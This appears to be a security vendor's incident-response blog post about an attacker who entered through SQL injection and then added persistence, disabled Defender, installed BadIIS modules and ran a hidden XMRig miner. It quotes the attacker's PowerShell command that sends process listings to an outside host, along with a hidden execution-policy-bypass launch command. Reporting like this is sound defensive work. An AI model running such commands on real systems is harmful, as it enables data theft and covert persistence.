Acknowledgments: Special thanks to the efforts of Stephanie Fairless for the contributions to this investigation.
“The call is coming from inside the house.”
Defenders often prioritize preventing threat actors from getting in, whether through vulnerability exploitation or exposed Remote Desktop Protocol (RDP) instances. But equally (if not more) important is what happens when an attacker has already made their way in.
While some attackers go straight for the kill – exfiltrating data, encrypting files, or otherwise – many take a more strategic approach to mold the compromised environments to suit their needs first. They’ll proactively tweak things within the environment to hide their tracks or work in some persistence. That might look like enabling the built-in Windows Guest account. It might be running Windows CLI commands like tasklist /svc to sniff out what processes a victim might be running.
At Huntress, our SOC focuses on these measures with a laser focus, because they often provide hints for what happened during an incident and may even reveal new parts of an attack that weren’t initially detected. In this blog post we will break down a June incident where a threat actor took aggressive steps to modify the environment after gaining initial access, in hopes of shedding light on some of these overlooked tactics.
Initial Access: the first MSSQL detections
During a recent incident for an organization in the tech sector, Huntress analysts observed a threat actor making more modifications to the compromised environment than usually observed during incidents of a similar nature.
The June 26 incident started with the Huntress SOC detecting and reporting malicious activity via a Microsoft SQL Server (MSSQL) instance (sqlservr.exe). Digging deeper into the investigation, Huntress analysts discovered that the threat actor did not access the MSSQL instance directly, but instead was able to locate a web page (the IIS web server was also installed on the endpoint) where user input was not being properly validated. As a result, based on this evidence we determined that the threat actor was able to access the endpoint by successfully exploiting an SQL injection vulnerability.
Teeing things up: recon and persistence
Through this avenue, the threat actor used base64-encoded PowerShell to download various scripts, which we will delve into later in this blog post.
Next, the actor carried out some recon: they ran tasklist /svc to determine what processes were running and available on the endpoint. This legitimate Windows command can help attackers identify potentially valuable services. That allows them to plan their next moves for what to target next – or even understand what services exist that they can potentially spoof with malicious processes. In this case, threat actors also used a PowerShell command to send the output of tasklist /svc to 334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com, as seen in the following decoded command:
powershell -Command "Invoke-WebRequest -Uri 'http[:]//334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com' -Method Post -Body $(tasklist /svc | Out-String)"
The threat actor then carried out a series of steps to help set up persistent access to the victim’s environment. They enabled Terminal Services (now renamed to Remote Desktop Services) on the endpoint, then created a new user account named adminweb2$, adding the account to the local Administrators group. They then used the new user account to authenticate to the endpoint via the newly-enabled Terminal Services. The threat actor also tried to evade security tools by disabling Windows Defender – although interestingly, they did not make any attempt to target other installed security services, such as EDR monitoring.
Making Bad(IIS) calls
The threat actor used appcmd.exe to install some of the known BadIIS modules (HttpFastCgiModule.dll and HttpCgiModule.dll), shown in Figure 1.
Figure 1: The threat actor installed the BadIIS modules
As previously outlined by Cisco Talos researchers, BadIIS is a family of malicious modules for Microsoft’s Internet Information Services (IIS) web server, which are used to launch large-scale SEO fraud through various functions (including traffic redirection, a reverse proxy feature, content hijacking, and internal links injection). These modules aren’t a single static tool, but have been used in multiple threat campaigns across the past year and a half.
Covering the bases
Figure 2: Cryptocurrency miner
As seen in Figure 2 above, the threat actor also downloaded the XMRig cryptocurrency miner (xmr-1.zip) to the endpoint, before making several more moves:
The threat actor also went on to use
attrib.exeto set attributes on several files associated with the cryptocurrency miner to “system”, “hidden”, “archive” and “read-only”. Those two files with modified characteristics (edge.exeandTaskgmr.ps1) were sitting inC:Program Files (x86)MicrosoftEdgeUpdate. By tweaking these attributes, the threat actor aimed to better cloak these files.They then created persistence for the cryptocurrency miner using
nssm.exe, the “non-sucking service manager“, a freely available utility for creating a resilient Windows service from a standalone executable.Finally, the threat actor added CnCrypt Protect, as shown in Figure 3, likely to assist further in defense evasion.
Figure 3: The threat actor added CnCrypt Protect
The joke’s on you
Throughout the course of the attack, the threat actor downloaded various PowerShell scripts and batch files.
At the start of the detected activity, we saw the SQL server spawn cmd.exe in order to download a PowerShell script qdcjoke1.2.ps1 to the victim organization’s shared user profile directory (C:userspublic). The script was downloaded from pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev and downloaded several additional payloads (including c_joke1.2.ps1).
After they had created the adminweb2$ account, we observed the actor using that account to launch the following PowerShell command, which aimed to silently install batch files (including qd_tjoke.bat) all without visible windows, prompts, banners, and execution-policy restrictions.
C:windowsSystem32WindowsPowerShellv1.0powershell.exe" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command Start-Process -FilePath 'C:ProgramDatatjokeqd_tjoke.bat' -WindowStyle Hidden
Threat actors installing trojans, miners, or other malware is not entirely unusual; Huntress analysts see this, as well as attempts at other activity, all the time. However, what stood out in this incident was the sheer breadth of modifications that the threat actor made to the endpoint.
Summary and mitigations
As system owners and administrators, we sometimes believe that we have the “home field advantage” when it comes to defending our infrastructure and data. However, without a comprehensive plan to secure and monitor our systems (such as a roadmap for patch management or endpoint monitoring systems), threat actors may gain access and establish their own “home field advantage” by modifying systems to meet their own needs, often going beyond simply disabling antivirus software and dropping malware on systems.
Huntress analysts have observed threat actors conducting a wide range of actions, including establishing persistent remote access, creating new user accounts, and then taking steps to reduce the visibility of the new user account. Even given the range of actions observed across a multitude of incidents, what is often not observed is such a number of modifications taking place, all on one endpoint.
The incident described in this blog post illustrates why it’s critical that once an incident is detected, the root cause be determined so that the threat actor’s access can be determined, addressed, and cut off. Had the original means of access, via an SQL injection vulnerability within a web page (user input not validated), gone unchecked, even if all of the remnants of the threat actor activity had been removed, they could return unfettered and potentially take actions that take longer to detect.
Huntress recommendations around establishing a comprehensive security posture start by establishing an accurate asset inventory of physical and virtual systems, as well as applications, and their versions. Once this inventory is established, here are some further steps to take:
Initiate a program of attack surface reduction
Remove any unnecessary or unauthorized applications
Restrict access as necessary to those that are authorized, including the use of MFA
Ensure that all active applications are updated, and included in an overall monitoring plan
When an incident is discovered, be sure to conduct an investigation to determine the root cause, and then bake those findings back into your infrastructure security plan
